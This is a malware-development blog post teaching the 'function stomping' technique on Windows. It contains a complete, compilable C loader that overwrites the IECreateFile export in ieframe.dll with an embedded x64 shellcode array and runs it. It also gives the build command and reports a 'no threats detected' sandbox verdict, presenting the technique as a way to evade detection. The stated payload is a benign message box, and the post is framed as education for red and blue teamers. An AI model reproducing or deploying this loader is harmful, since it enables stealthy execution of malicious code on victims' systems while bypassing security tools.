4 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

It’s been a while since I’ve written about Windows malware dev tricks on my blog, so I decided to add few posts about long-known, but at the same time very simple and effective tricks. One of them is function stomping.

concept

Within a computer program, the process of writing fresh data across the memory of a function or another data item is referred to as “stomping”

The bytes that make up the original function can be replaced with new code through a technique known as function stomping. Either the function is altered or it does not perform as it should because of this. On the other hand, the function will execute a different logic. In order for this to be functioning properly, it is necessary to eliminate a sacrificial function address.

Obtaining the address of a function locally is straightforward; nevertheless, it is crucial to consider which function is being accessed by this approach. Overwriting a commonly utilized function may result in the payload executing uncontrollably or the process terminating unexpectedly. It is evident that targeting methods exported from ntdll.dll, kernel32.dll, and kernelbase.dll poses significant risks. Instead, you should concentrate on infrequently utilized features, such as MessageBox, as the operating system and other applications seldom employ them.

practical example

We will develop malware code that demonstrates the utilization of IECreateFile as the target function. Deleting this function is unlikely to cause any detriment, however its operation is entirely arbitrary. The method originates from ieframe.dll, as stated in Microsoft’s support documentation. The initial step is to utilize LoadLibraryA to load ieframe.dll into the local process memory. Subsequently, utilize GetProcAddress to obtain the address of the function:

printf("loading ... ");
h = LoadLibraryA("ieframe.dll");
if (h == NULL){
  printf("LoadLibraryA failed: %d \n", GetLastError());
  return -1;
}
printf("loading ieframe.dll done \n");

addr = GetProcAddress(h, "IECreateFile");
if (addr == NULL){
  printf("GetProcAddress failed: %d \n", GetLastError());
  return -1;
}

printf("address Of \"%s\": 0x%p \n", "IECreateFile", addr);

The next step would be to stomp on the function and put the payload in its place. VirtualProtect must be applied to designate the function’s memory region as both reading and writable to facilitate modifications:

if (!VirtualProtect(addr, sizeof(my_payload), PAGE_READWRITE, &old)) {
  printf("VirtualProtect: RW failed : %d \n", GetLastError());
  return -1;
}

memcpy(addr, my_payload, sizeof(my_payload));

Finally, VirtualProtect is applied in order to designate the region as executable (RX or RWX). The payload is thereafter assigned to the function’s address:

if (!VirtualProtect(addr, sizeof(my_payload), PAGE_EXECUTE_READWRITE, &old)) {
  printf("VirtualProtect: RWX failed : %d \n", GetLastError());
  return -1;
}

printf("writing payload: done :)\n");

After that, we can use the CreateThread function to make a new thread that runs our payload. This new thread then calls the IECreateFile function.

th = CreateThread(NULL, NULL, addr, NULL, NULL, NULL);
if (th != NULL)
  WaitForSingleObject(th, INFINITE);

The complete full source code appears as follows (hack.c):

/*
 * hack.c
 * minimal function stomping
 * author @cocomelonc
 * https://cocomelonc.github.io/malware/2026/06/28/malware-tricks-59.html
 */
#include <windows.h>
#include <stdio.h>
 
// x64 meow-meow shellcode
unsigned char my_payload[] = {
  0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,
  0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,
  0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,
  0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,
  0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,
  0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,
  0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,
  0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
  0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
  0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,
  0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,
  0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
  0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,
  0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,
  0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
  0x85,0x25,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,
  0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,
  0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
  0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x4d,0x65,0x6f,0x77,0x2d,0x6d,0x65,0x6f,0x77,
  0x21,0x00,0x3d,0x5e,0x2e,0x2e,0x5e,0x3d,0x00
  };
 
int main() {
  PVOID addr = NULL;
  HMODULE h = NULL;
  HANDLE th = NULL;
  DWORD old = 0;
 
  printf("press <Enter> to load ieframe.dll...");
  getchar();
 
  printf("loading ... ");
  h = LoadLibraryA("ieframe.dll");
  if (h == NULL){
    printf("LoadLibraryA failed: %d \n", GetLastError());
    return -1;
  }
  printf("loading ieframe.dll done \n");
 
  addr = (PVOID)GetProcAddress(h, "IECreateFile");
  if (addr == NULL){
    printf("GetProcAddress failed: %d \n", GetLastError());
    return -1;
  }
 
  printf("address Of \"%s\": 0x%p \n", "IECreateFile", addr);

  printf("press <Enter> to write payload ... ");
  getchar();
  printf("writing payload... ");
 
  if (!VirtualProtect(addr, sizeof(my_payload), PAGE_READWRITE, &old)){
    printf("VirtualProtect RW failed : %d \n", GetLastError());
    return -1;
  }
 
  memcpy(addr, my_payload, sizeof(my_payload));
 
  if (!VirtualProtect(addr, sizeof(my_payload), PAGE_EXECUTE_READWRITE, &old)) {
    printf("VirtualProtect RWX failed : %d \n", GetLastError());
    return -1;
  }
   
  printf("writing payload: done \n");
 
  printf("press <Enter> to run the payload ... ");
  getchar();

  th = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
  if (th != NULL)
    WaitForSingleObject(th, INFINITE);
 
  printf("press <Enter> to quit ... ");
  getchar();
 
  return 0;
}

As you can see, I added a getchar() so that I could track the progress (debugging :))

Also, for simplicity, as usual, meow-meow messagebox payload used in my PoC:

unsigned char my_payload[] = {
  0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,
  0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,
  0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,
  0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,
  0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,
  0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,
  0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,
  0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
  0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
  0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,
  0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,
  0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
  0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,
  0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,
  0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
  0x85,0x25,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,
  0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,
  0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
  0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x4d,0x65,0x6f,0x77,0x2d,0x6d,0x65,0x6f,0x77,
  0x21,0x00,0x3d,0x5e,0x2e,0x2e,0x5e,0x3d,0x00
};

demo

Let’s go to see this in action. Compile:

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

malware

On the victim machine run it:

.\hack.exe

and attach to x64dbg debugger:

malware

malware

check loading ieframe.dll and function address:

malware

malware

then writing payload:

malware

Finally, run payload:

malware

malware

malware

malware

As you can see, everything is worked as expected! function stomped, payload successfully executed! =^..^=

Remove debugging prints (hack2.c), then upload this compiled sample to ANY.RUN sandbox:

malware

malware

malware

As you can see, verdict: no threats detected.

https://app.any.run/tasks/5b71a8e5-00e5-41dc-ad59-1d304f161cdf

Local function stomping is a clever and subtle way to execute shellcode within our own process context. By utilizing a legitimate loaded DLL like ieframe.dll in this post, and overwriting a specific exported function IECreateFile, we completely avoid using noisy, classic allocations like VirtualAlloc with PAGE_EXECUTE_READWRITE permissions from scratch. Instead, we repurpose a signed, trusted memory region to host our payload, masking our thread execution flow under a benign API pointer.

In the next post, I will take this concept a step further and explore how to weaponize this technique across process boundaries via remote process function stomping. Stay tuned!

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

VBA stomping
hack2.exe
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine